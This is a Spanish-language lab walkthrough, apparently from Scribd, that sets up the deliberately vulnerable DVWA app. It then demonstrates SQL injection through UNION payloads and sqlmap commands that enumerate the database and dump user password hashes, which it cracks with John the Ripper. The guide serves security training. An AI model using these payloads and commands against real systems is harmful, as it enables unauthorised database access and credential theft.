0% encontró este documento útil (0 votos)
138 vistas5 páginas

SQL Injeccion Lab

El documento describe la instalación de un entorno DVWA para pruebas de seguridad y la realización de pruebas de inyección SQL e inyección SQL ciega utilizando herramientas como sqlmap. Se explica cómo acceder a información de la base de datos como tablas, columnas y datos mediante la inyección de consultas SQL en un campo de usuario ID vulnerable y cómo extraer contraseñas de usuarios almacenadas en MD5.

Cargado por

waleed
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como ODT, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
138 vistas5 páginas

SQL Injeccion Lab

El documento describe la instalación de un entorno DVWA para pruebas de seguridad y la realización de pruebas de inyección SQL e inyección SQL ciega utilizando herramientas como sqlmap. Se explica cómo acceder a información de la base de datos como tablas, columnas y datos mediante la inyección de consultas SQL en un campo de usuario ID vulnerable y cómo extraer contraseñas de usuarios almacenadas en MD5.

Cargado por

waleed
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como ODT, PDF, TXT o lee en línea desde Scribd

LABORATORIO

Instalación del entorno DVWA

cd Downloads
wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
unzip master.zip
mv DVWA-master dvwa
cp -r dvwa /var/www/html/
service mysql start
mysql -u root -p
create database dvwa;
exit
nano /var/www/html/dvwa/config/config.inc.php
# Eliminar la contraseña de mysql
service apache2 restart

Y ya se debe tener acceso a través de http://172.16.123.136/dvwa, con usuario admin y


contraseña password y, por último, pulsar el botón create database de la pestaña
Setup.
Para todas las pruebas de este curso de introducción a la seguridad debemos
asegurarnos de que en la pestaña DVWA Security la dificultad está seleccionada
como low.
SQL Injection
Accediendo a la pestaña SQL Injection aparece un campo User ID en el que se puede
insertar un número. Si dicho usuario existe nos devolverá información del mismo.
2

Al añadir números como 1, 2, 3 recibimos respuesta del usuario que ocupa dicho
“id”

2' and 1=1 #

Esto nos devuelve la segunda entrada (Gordon) de la base de datos, por lo que
está interpretando la expresión que se encuentra a su derecha

2' and 1=1 order by 3 #

Da un error (unknown column 3) ya que no existe dicha columna, porque la


consulta solo nos devuelve los campos First_name y Surname. Al ordenar la
salida nos da la pista de que quizás se puedan ejecutar acciones en la propia
consulta
Funciones como las que se pueden encontrar en la documentación
oficial https://dev.mysql.com/doc/refman/5.7/en/information-functions.html.

2' and 1=1 union select 1,version() #

Efectivamente ejecuta funciones, en este caso nos devuelve la versión concreta


de la base de datos.

2' and 1=1 union select 1,user() #

Usuario administrador de la base de datos.

2' and 1=1 union select 1,database() #

Nombre de la base de datos.

2' and 1=1 union select 1,table_name from information_schema.tables #

Nombre de todas las tablas, entre las que destaca una de usuarios “users” a la
que podemos atacar. Se pueden lanzar distintas funciones que podemos
encontrar en https://dev.mysql.com/doc/refman/5.7/en/tables-table.html.

2' and 1=1 union select 1,table_name from information_schema.tables where


table_schema!='mysql' and table_schema!='information_schema' and table_schema!
='performance_schema' #

Se filtra la base de datos information_schema, performance_schema y mysql

2' and 1=1 union select 1,column_name from information_schema.columns where


table_name='users' #

Se accede dentro de la tabla y se listan las columnas que tiene

2' and 1=1 union select 1,concat(first_name,0x0a,password) from users #


Se obtiene los usuarios con las contraseñas en md5
===================
admin : 5f4dcc3b5aa765d61d8327deb882cf99
Gordon : e99a18c428cb38d5f260853678922e03
Hack : 8d3533d75ae2c3966d7e0d4fcc69216b
Pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
Bob : 5f4dcc3b5aa765d61d8327deb882cf99

Para descifrar la password se puede utilizar algún servicio online como:


https://hashkiller.co.uk/md5-decrypter.aspx

o con John The Ripper, con el comando:


john --format=raw-md5 gordon-md5 --show

Donde gordon-md5 es un fichero donde hemos almacenado la contraseña cifrada por


md5.
SQL Map
Se debería instalar, por ejemplo, la herramienta CookieManager+ para poder coger la
Cookie de la conexión y realizar las pruebas con Sqlmap.
Primero se comprobará si es vulnerable a un ataque SQL.
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX"

Se obtendrá el usuario administrador de la bbdd:


sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" –current-user

La lista de bases de datos:


sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" –dbs
Las tablas dentro de nuestra base de datos objetivo:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" -D dvwa –tables

Lista de columnas dentro de la tabla de usuarios:


sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" -D dvwa -T users --columns

Por último, que devuelva una lista de usuarios y contraseñas (md5)


sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
--cookie="security=low; PHPSESSID=XXXX" -D dvwa -T users -C
user,password,first_name,last_name –dump

También podría gustarte